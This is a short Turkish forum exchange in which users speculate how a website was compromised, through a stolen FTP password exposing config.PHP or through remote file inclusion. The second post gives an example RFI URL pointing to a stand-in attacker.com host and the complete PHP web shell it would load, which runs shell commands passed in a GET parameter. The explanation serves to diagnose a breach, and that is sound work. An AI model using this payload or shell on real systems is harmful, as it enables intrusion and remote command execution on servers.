[Kommix]

Benim tahminim FTP şifrene ulaşmış olmaları. Oradaki bir config.PHP dosyana ulaşıp, oradan kök şifreyi/şifreleri alıp istedikleri yerleri değiştirmeleri fakat kök şifreyi değiştirmemeleri.

[CBol@]

Bence Uzaktan dosya çağırma(Remote file inclusion) yani GET methodunda ki parametre veya kontrol hataları ile sisteme girdiler ve yazma izni olmadığı içinde config ya da ayar dosyasından SQL bilgilerini aldılar...

örn:

site.com/haberler.PHP?page=http://attacker.com/script.txt?

script.txt:

<?PHP
$cmd=$_GET["cmd"];
passthru($cmd);
?>